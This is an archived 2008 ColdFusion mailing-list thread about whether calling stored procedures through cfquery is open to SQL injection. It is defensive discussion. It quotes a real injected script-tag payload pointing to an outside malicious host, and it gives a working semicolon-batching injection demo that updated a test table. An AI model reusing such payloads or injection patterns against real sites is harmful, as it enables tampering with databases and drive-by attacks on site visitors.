http://www.codersrevolution.com/index.cfm/2008/7/22/When-will-cfquerypar
am-NOT-protect-me

~Brad 




~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309486
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfquery and cfstoredproc

Thanks Adrian.  That's cool.  however, it is not useful DURING the execution 
of the SQL though correct?

~Brad

- Original Message - 
From: Adrian Lynch [EMAIL PROTECTED]
To: CF-Talk cf-talk@houseoffusion.com
Sent: Tuesday, July 22, 2008 3:51 PM
Subject: RE: cfquery and cfstoredproc


 I've used this function to view the SQL with the param data in place.


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309487
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfquery and cfstoredproc

I see.  Thanks for the clarification on the Profiler stuff. Unfortunately, I 
don't MSSQL in front of me to play with it right now.

I give SeeFusion two thumbs way up on monitoring your SQL traffic and run 
times.  (it incorporates a JDBC URL wrapper)  I use a custom monitor I wrote 
for SQL server 2005 that gets the execution plans for me of my running SQL 
that I tied into the SeeFusion API.  If I see a spike on the server, I can 
see who is doing it, what page they are on, what line of SQL is executing 
and what their execution plan is all at once.

~Brad

- Original Message - 
From: Gaulin, Mark [EMAIL PROTECTED]
To: CF-Talk cf-talk@houseoffusion.com
Sent: Tuesday, July 22, 2008 4:34 PM
Subject: RE: cfquery and cfstoredproc


 Hi Brad
 Thanks for the links, those are interesting articles.
 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309489
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

  i have been asked to look at a possible sql injection attack. 
   as I look through the code I see stored procs being called 
  by using cfquery like:
 
  cfquery name=asdf datasource=asdf
 
   storedproc '#var1#', '#var2#'
 
  cfquery
  
  I've read about using cfstored procs and params to prevent attacks.
  I've read that using cfquery and doing inline queries can 
  cause injection attacks but I wasn't sure about using cfquery 
  and calling a stored proc through it. Can somebody please confirm?  

 Yes you are vulnerable if you do not sanitize the inputs.

Actually, generally you won't be vulnerable here. You're calling a stored
procedure, which is going to take your inputs and stick them in input
parameters. As long as you're not executing strings directly in your stored
procedure (using EXEC, EXECUTE, sp_executesql, etc) you'll be fine.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309491
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

Dave,

What about a semi-colon?

Storedproc '#var1#','#var2#' ;  *other code* 

Would the CFQUERY not allow this additional code to run?

-Mark



Mark A. Kruger, CFG, MCSE
(402) 408-3733 ext 105
www.cfwebtools.com
www.coldfusionmuse.com
www.necfug.com

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 5:50 PM
To: CF-Talk
Subject: RE: cfquery and cfstoredproc

  i have been asked to look at a possible sql injection attack. 
   as I look through the code I see stored procs being called by using 
  cfquery like:
 
  cfquery name=asdf datasource=asdf
 
   storedproc '#var1#', '#var2#'
 
  cfquery
  
  I've read about using cfstored procs and params to prevent attacks.
  I've read that using cfquery and doing inline queries can cause 
  injection attacks but I wasn't sure about using cfquery and calling 
  a stored proc through it. Can somebody please confirm?

 Yes you are vulnerable if you do not sanitize the inputs.

Actually, generally you won't be vulnerable here. You're calling a stored
procedure, which is going to take your inputs and stick them in input
parameters. As long as you're not executing strings directly in your stored
procedure (using EXEC, EXECUTE, sp_executesql, etc) you'll be fine.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized instruction
at our training centers in Washington DC, Atlanta, Chicago, Baltimore,
Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309492
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

 What about a semi-colon?
 
 Storedproc '#var1#','#var2#' ;  *other code* 
 
 Would the CFQUERY not allow this additional code to run?

It wouldn't allow any of the values after the stored procedure call
storedproc to run as code, because they would be placed in the input
parameters of the stored procedure. Essentially, this has the same effect as
parameterizing your query in CF.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309493
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

2008-07-22 Thread Tim Do

So I'm hearing that it should be fine??  

Somehow their database columns values were appended the following string
: /titleInvalidTag src=http://1.verynx.cn/w.js;/script!--

So for example the column firstname value was John became:
John/titleInvalidTag src=http://1.verynx.cn/w.js;/script!--

What else could have caused this?  Like you said the parameters are in
single quotes and the data type is varchar so it must have a single
quote in order to work.  I'm confused...

-Original Message-
From: Mark Kruger [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 3:52 PM
To: CF-Talk
Subject: RE: cfquery and cfstoredproc

Dave,

What about a semi-colon?

Storedproc '#var1#','#var2#' ;  *other code* 

Would the CFQUERY not allow this additional code to run?

-Mark



Mark A. Kruger, CFG, MCSE
(402) 408-3733 ext 105
www.cfwebtools.com
www.coldfusionmuse.com
www.necfug.com

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 5:50 PM
To: CF-Talk
Subject: RE: cfquery and cfstoredproc

  i have been asked to look at a possible sql injection attack. 
   as I look through the code I see stored procs being called by using

  cfquery like:
 
  cfquery name=asdf datasource=asdf
 
   storedproc '#var1#', '#var2#'
 
  cfquery
  
  I've read about using cfstored procs and params to prevent attacks.
  I've read that using cfquery and doing inline queries can cause 
  injection attacks but I wasn't sure about using cfquery and calling 
  a stored proc through it. Can somebody please confirm?

 Yes you are vulnerable if you do not sanitize the inputs.

Actually, generally you won't be vulnerable here. You're calling a
stored
procedure, which is going to take your inputs and stick them in input
parameters. As long as you're not executing strings directly in your
stored
procedure (using EXEC, EXECUTE, sp_executesql, etc) you'll be fine.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction
at our training centers in Washington DC, Atlanta, Chicago, Baltimore,
Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!





~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309494
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

 So I'm hearing that it should be fine??  
 
 Somehow their database columns values were appended the 
 following string
 : /titleInvalidTag src=http://1.verynx.cn/w.js;/script!--
 
 So for example the column firstname value was John became:
 John/titleInvalidTag src=http://1.verynx.cn/w.js;/script!--
 
 What else could have caused this?  Like you said the 
 parameters are in single quotes and the data type is varchar 
 so it must have a single quote in order to work.  I'm confused...

The specific attack in question looks for numeric inputs, not character
inputs. So, my guess is that you have some other unparameterized query that
is being called by the attack.

I recommend you examine your codebase to find unparameterized queries. I
found this tool, mentioned here by others, to be very helpful for this:
http://qpscanner.riaforge.org/

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309495
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: writing protected CF with CFStoredProc

 The discussion yesterday regarding using CFqueryparam to 
 protect sites from SQL Injection attacks got me thinking.  
 Well, it is easy enough to use CFQUERYPARAM everywhere inside 
 CFQUERY tags, wherever a variable is passed to the SQL query.
 
 However, how do you do that with CFStoredProc?
 
 If I understand correctly, if you want to protect calls to 
 stored procs (from SQL injection and the like), you have to 
 use cfstoredproc and cfprocparam instead of cfquery and 
 cfqueryparam.  But apparently, you can't indicate what 
 parameters you're actually passing.  Am I missing something?
 
 Say you had a proc that looked like this:
 
 CREATE PROC sps_testproc
 @AID int = null,
 @BID int = null
 as
 IF @AID is not null
 SELECT @AID
 IF @AID is not NULL
 SELECT @BID
 
 If I was using CFQUERY, unprotected-style, I might write this:
 
 cfquery ...
 sps_testproc
 cfif whichvar = A
 @aid=123
 cfelse
 @bid=456
 /cfif
 /cfquery

Well, first of all, in this case the stored procedure itself is handling
validation. It's going to make sure that @aid and @bid are integers, and
fail if they're not. In addition, in the above case, the parameters don't
even contain CF variables! So, you don't really need to go any farther, as
your current code is safe.

 If I was using CFSTOREDPROC, I might write this:
 
 cfstoredproc procedure=sps_testproc...
 cfprocparam type=in cfsqltype=cf_sql_integer 
 value=123 .
 /cfstoredproc
 
 See my problem?  In my proc example, we don't need to know 
 which of the two params is going to be passed to it.  In the 
 CFQUERY, I use that to pass one param or the other depending 
 on something else (the value of whichvar).
 But as far as I can tell, CFSTOREDPROC doesn't let me tell it 
 which parameter I'm passing -- presumably it wants all 
 parameters, in order.  So maybe I need something like this:
 
  cfstoredproc procedure=sps_testproc...
 cfif whichvar=A
 cfprocparam type=in cfsqltype=cf_sql_integer value=123
 cfprocparam type=in cfsqltype=cf_sql_integer 
 value=null cfelse
 cfprocparam type=in cfsqltype=cf_sql_integer
 value=null
 cfprocparam type=in cfsqltype=cf_sql_integer 
 value=456 /cfstoredproc
 
 That kind of sucks, right?  Am I making any sense?

CF 5 and earlier used the DBVARNAME attribute to specify which one is which.
My understanding is that JDBC doesn't support this, so CF no longer supports
this either. However, I'm not knowledgeable enough about JDBC to confirm
this, so maybe it's a DataDirect-specific issue. In any case, you need to
send parameters in the order that they're expected by the stored procedure.

That said, you can send NULLs to each parameter that allows it, and you
could simplify the above code:

cfstoredproc ...
cfprocparam type=in cfsqltype=cf_sql_integer value=123
null=#YesNoFormat(whichvar neq A)#
cfprocparam type=in cfsqltype=cf_sql_integer value=456
null=#YesNoFormat(whichvar eq A)#
/cfstoredproc

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309496
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

Dave,

I never disagree with you (usually a fools errand) but I want a
clarification. I think you might mean that this particular use is safe
because CF will escape the single quotes. But the code below is vulnerable
in exactly the same  as a CFQUERY.

As a test I created an SP

-
CREATE PROCEDURE dbo.sp_test
@iObject varchar(200)
as

set nocount on

select @iObject AS item


Then I ran the following code:

---

cfquery name=test datasource=test

sp_test 'bob'; update coaches set name = 'Dave Watts' where coach_id = 1

/cfquery
--
Both of these statements run and the coaches table was updated. 


 So, yes it's protected in this case (because of escaping) but if the values
were un sanitized integers it would be just as exposed as a regular query -
right? If it looked like this:


cfquery name=test datasource=test

sp_test #bob_id# 

/cfquery

I would be able to attack it I think. Probably not as easy to get the syntax
right but... Still possible.

Mark A. Kruger, CFG, MCSE
(402) 408-3733 ext 105
www.cfwebtools.com
www.coldfusionmuse.com
www.necfug.com

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 6:07 PM
To: CF-Talk
Subject: RE: cfquery and cfstoredproc

 What about a semi-colon?
 
 Storedproc '#var1#','#var2#' ;  *other code*
 
 Would the CFQUERY not allow this additional code to run?

It wouldn't allow any of the values after the stored procedure call
storedproc to run as code, because they would be placed in the input
parameters of the stored procedure. Essentially, this has the same effect as
parameterizing your query in CF.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized instruction
at our training centers in Washington DC, Atlanta, Chicago, Baltimore,
Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309497
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

 I never disagree with you (usually a fools errand)

Ha! I wish.

 but I want a clarification. I think you might mean that this 
 particular use is safe because CF will escape the single quotes. 
 But the code below is vulnerable in exactly the same as a CFQUERY.
 
 As a test I created an SP
 
 -
 CREATE PROCEDURE dbo.sp_test
 @iObject varchar(200)
 as
 
 set nocount on
 
 select @iObject AS item
 
 
 Then I ran the following code:
 
 ---
 
 cfquery name=test datasource=test
 
 sp_test 'bob'; update coaches set name = 'Dave Watts' where 
 coach_id = 1
 
 /cfquery
 --
 Both of these statements run and the coaches table was updated.

Yeah, you're right about that. If you have a numeric value in your CFQUERY,
it could be broken to also contain a string. The semicolon would turn the
single original stored procedure call into an SQL batch containing the
stored procedure and whatever your string contained.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309499
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: writing protected CF with CFStoredProc

  Say you had a proc that looked like this:
  
  CREATE PROC sps_testproc
  @AID int = null,
  @BID int = null
  as
  IF @AID is not null
  SELECT @AID
  IF @AID is not NULL
  SELECT @BID
  
  If I was using CFQUERY, unprotected-style, I might write this:
  
  cfquery ...
  sps_testproc
  cfif whichvar = A
  @aid=123
  cfelse
  @bid=456
  /cfif
  /cfquery
 
 Well, first of all, in this case the stored procedure itself 
 is handling validation. It's going to make sure that @aid and 
 @bid are integers, and fail if they're not. In addition, in 
 the above case, the parameters don't even contain CF 
 variables! So, you don't really need to go any farther, as 
 your current code is safe.

As Mark just pointed out, if you did have actual CF variables in your
statement, those would be vulnerable. The stored procedure itself isn't
vulnerable, of course, but the CFQUERY tag would be unless you'd configured
your database login so that it could only execute stored procedures.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309500
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

  So I'm hearing that it should be fine??  
  
  Somehow their database columns values were appended the following 
  string
  : /titleInvalidTag src=http://1.verynx.cn/w.js;/script!--
  
  So for example the column firstname value was John became:
  John/titleInvalidTag src=http://1.verynx.cn/w.js;/script!--
  
  What else could have caused this?  Like you said the parameters are in 
  single quotes and the data type is varchar so it must have a single 
  quote in order to work.  I'm confused...
 
 The specific attack in question looks for numeric inputs, not 
 character inputs. So, my guess is that you have some other 
 unparameterized query that is being called by the attack.
 
 I recommend you examine your codebase to find unparameterized 
 queries. I found this tool, mentioned here by others, to be 
 very helpful for this:
 http://qpscanner.riaforge.org/

As Mark pointed out, if you did have numeric inputs in your CFQUERY tag,
those would still be vulnerable. If not, though, the rest of my statement
still stands.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309501
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

Dave,

Do you mind if I blog about that part where you said Yeah, your right about
that   That's got to be good for my cf_streetCred (ha). 

-mk

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 7:14 PM
To: CF-Talk
Subject: RE: cfquery and cfstoredproc

 I never disagree with you (usually a fools errand)

Ha! I wish.

 but I want a clarification. I think you might mean that this 
 particular use is safe because CF will escape the single quotes.
 But the code below is vulnerable in exactly the same as a CFQUERY.
 
 As a test I created an SP
 
 -
 CREATE PROCEDURE dbo.sp_test
 @iObject varchar(200)
 as
 
 set nocount on
 
 select @iObject AS item
 
 
 Then I ran the following code:
 
 ---
 
 cfquery name=test datasource=test
 
 sp_test 'bob'; update coaches set name = 'Dave Watts' where coach_id = 
 1
 
 /cfquery
 --
 Both of these statements run and the coaches table was updated.

Yeah, you're right about that. If you have a numeric value in your CFQUERY,
it could be broken to also contain a string. The semicolon would turn the
single original stored procedure call into an SQL batch containing the
stored procedure and whatever your string contained.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized instruction
at our training centers in Washington DC, Atlanta, Chicago, Baltimore,
Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309502
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: cfquery and cfstoredproc

I'll admit it.  The first time Dave conceded I was right about something, it 
got printed out and stuck on my cubicle wall.
Hey, I gotta' celebrate *something*  :)

~Brad

- Original Message - 
From: Mark Kruger [EMAIL PROTECTED]
To: CF-Talk cf-talk@houseoffusion.com
Sent: Tuesday, July 22, 2008 8:58 PM
Subject: RE: cfquery and cfstoredproc

 Dave,

 Do you mind if I blog about that part where you said Yeah, your right 
 about
 that   That's got to be good for my cf_streetCred (ha).

 -mk

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309505
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfquery and cfstoredproc